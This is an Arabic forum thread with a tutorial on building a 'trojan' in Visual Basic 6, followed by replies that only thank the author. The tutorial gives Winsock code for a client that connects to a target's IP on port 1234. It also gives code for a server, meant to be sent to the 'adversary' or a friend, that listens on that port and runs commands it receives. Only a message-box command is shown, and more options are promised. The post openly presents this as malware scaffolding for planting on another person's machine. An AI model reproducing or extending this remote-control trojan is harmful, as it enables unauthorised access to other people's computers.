أستخدم فيوجول بيسك في صنع التروجان

[ولــ الطائف ــد]

هذه المشاركة تحتوي على محتوى مخفي اولا كلنا نعرف بأن التروجان هو عبارة عن ملفين الأول عندك و الثاني عند الخصم
سنبدأ الآن بتشكيل الملف الذي سيبقى عندك و هو الcelint
نفتح مشروعاً جديداً و نضيف 2 text و lebel واحد و ثلاث أزرار و نغير عناوين هذه الأزرار
لتصبح كالتالي:
name=command1:caption=اتصال
name=command2:caption=قطع اتصال
name=command3:caption=ارسل رسالة
الآن داخل الزر الأول نقوم بكتابة الكود التالي:
code:
________________________________________

Command1.Enabled = False
Label1.Caption = "جاري الاتصال"
Winsock1.Connect Text1.Text, 1234
________________________________________

شرحه:
السطر الأول لإلغاء تفعيل الزر الأول حتى لا تقوم المتصل بطلب إتصال آخر وقت الاتصال
السطر الثاني لتغير عنوان صندوق العنواوين إلى جاري الاتصال
السطر الثالث للإتصال مع Ip معين نكتبه داخل الtext1 و رقم المنفذ المفتوح عند الخصم
و الذي سنقوم بفتحه عنده و ليكن المنفذ رقم 1234

الآن داخل الزر الثاني نكتب الكود التالي:
code:
________________________________________

Command1.Enabled = True
Label1.Caption = "تم قطع الاتصال"
Winsock1.Close
________________________________________

شرحه:
السطر الأول لإعادة تفعيل الزر الأول أي زر الاتصال
السطر الثاني لتغير صندوق العناوين إلى ( تم قطع الاتصال )
السطر الثالث لإغلاق الإتصال مع الجهاز الخصم
الآن داخل الزر الثالث نكتب الكود التالي:
code:
________________________________________

Winsock1.SendData "msg" & Text2.Text
________________________________________

شرحه:
يقوم السطر السابق بارسال بيان كتابي هو msg و الذي سنرمزه في جهاز الخصم على أنه رسالة
ثم & الكلام المكتوب داخل الصندوق text2 ليتم ارسال رسالة بما بداخلها

الآن نقوم بالضغط على الwinsock و التي تعلمنا إضافتها في الدرس السابق
ثم نقكتب داخل الحدث connect الكود التالي:
code:
________________________________________

Label1.Caption = "تم عملية الاتصال بالجهاز الآخر"
________________________________________

شرحه:
السطر السابق يحدث عندما يتم الاتصال مع الجهاز الخصم و عندها يتم تغير
صندوق العناوينl abelcaption لى ( تم عملية الاتصال بالجهاز الآخر )
نرتب الأزار لتصبح موافقة للصورة المرفقة

الآن ننتقل إلى السيرفر و التي سنقوم بارسالها إلى جهاز الخصم
نقوم بفتح مشروع جديد
الآن نقوم كالعادة بإضافة أداة الإتصال winsock
ثم نكتب داخل الفورم load الكود التالي:
code:
________________________________________

Winsock1.LocalPort = 1234
Winsock1.Listen
________________________________________

شرحه:
يقوم السطر الأول بفتح منفذ في جهاز الخصم و هو هنا 1234
أما السطر الثاني فهو لبدء أخذ معلومات كن هذا المنفذ

الآن داخل الwinsock ضمن الحدث ConnectionRequest نقوم بكتابة الكود التالي:
code:
________________________________________

Winsock1.Close
Winsock1.Accept requestID
________________________________________

شرحه:
السطر الأول لإغلاق الاتصال و الثاني لقبول البيانات القادمة من الكلينت

الآن داخل الحدث DataArrival نكتب الكود التالي:
code:
________________________________________

Dim vardata As String
Dim strdata As String
Dim cmddata As String * 3
Winsock1.GetData strdata
cmddata = Left(strdata, 3)
vardata = Right(strdata, Len(strdata) - 3)
DoCommand cmddata, vardata
________________________________________

السطر السابق يتضمن تعاريف للبيانات القادمة
و السطر الأخير هو للتابع الذي سنضيفه إلى الmodule

الآن عند الحدث Error أي حدث حدوث خطأ بالاتصال نكتب الكود التالي:
code:
________________________________________

Winsock1.Close
Winsock1.Listen
________________________________________

شرحه:
السطر الأول لإغلاق الاتصال
السطر الثاني لإعادة أخذ البيانات القادمة من الكلينت
- الآن نقوم بإضافة module من قائمة project ثم نقوم بإنشاء تابع على الشكل التالي:
code:
________________________________________

Public Function DoCommand(command As String, data As String)
________________________________________

ثم نقوم بإنشاء حالات عن البيانات القادمة ( سنضيف ما نريد فيما بعد) و ذلك بإضافة
الكود التالي:
code:
________________________________________

Select Case LCase(command)
________________________________________

نضيف الآن حالة وصول البيان الذي يحمل البتتات msg و التي سنعرفها هنا على أنها msgbox
و نكتب الكود التالي:
code:
________________________________________

Case "msg"
MsgBox data, vbInformation, "Information"
________________________________________

السطر الأول نوع الحالة
السطر الثاني يقوم بإظهار صندوق رسالة إلى المستخدم يحوي على البيانات المكتوبة ضمن الtext2 في الكلينت
ثم نضيف الكود التالي لأنهاء الحالات
code:
________________________________________

End Select
________________________________________

و ننهي هذا التابع كالعادة بالتعليمة
code:
________________________________________

End Function
________________________________________

- بهذا أصبح كل شيء جاهزاً عليك الآن ارسال هذه الملف لصديقك و التجريب عليه
دمتم بخير و السلام عليكم
يتبع بقية الخيارات.....


ملاحظة يمكنك أن تجرب إقتحام نفسك فتح الملف السيرفر اولاً ثم ضع الآي بي 127.0.0.1

[العـامرية]

ولد الطايف
مشكور يسلمو على البرنامج الرائع
لاخلا ولا اعدم

العامريه

[مرتاح وحدي]

ولد الطايف هلا فيك
وشكرا لك
على المشاركه


مرتاح

[اسرار]

ولد الطايف
مشكور ماقصرت يعطيك العافيه اخوي
وحياك الله ننتظر منك كل خير

حايليه

[سهر]

ولد الطائف
كل الشكر لك على المعلومات
يعطيك الف عافيه
اختك سهر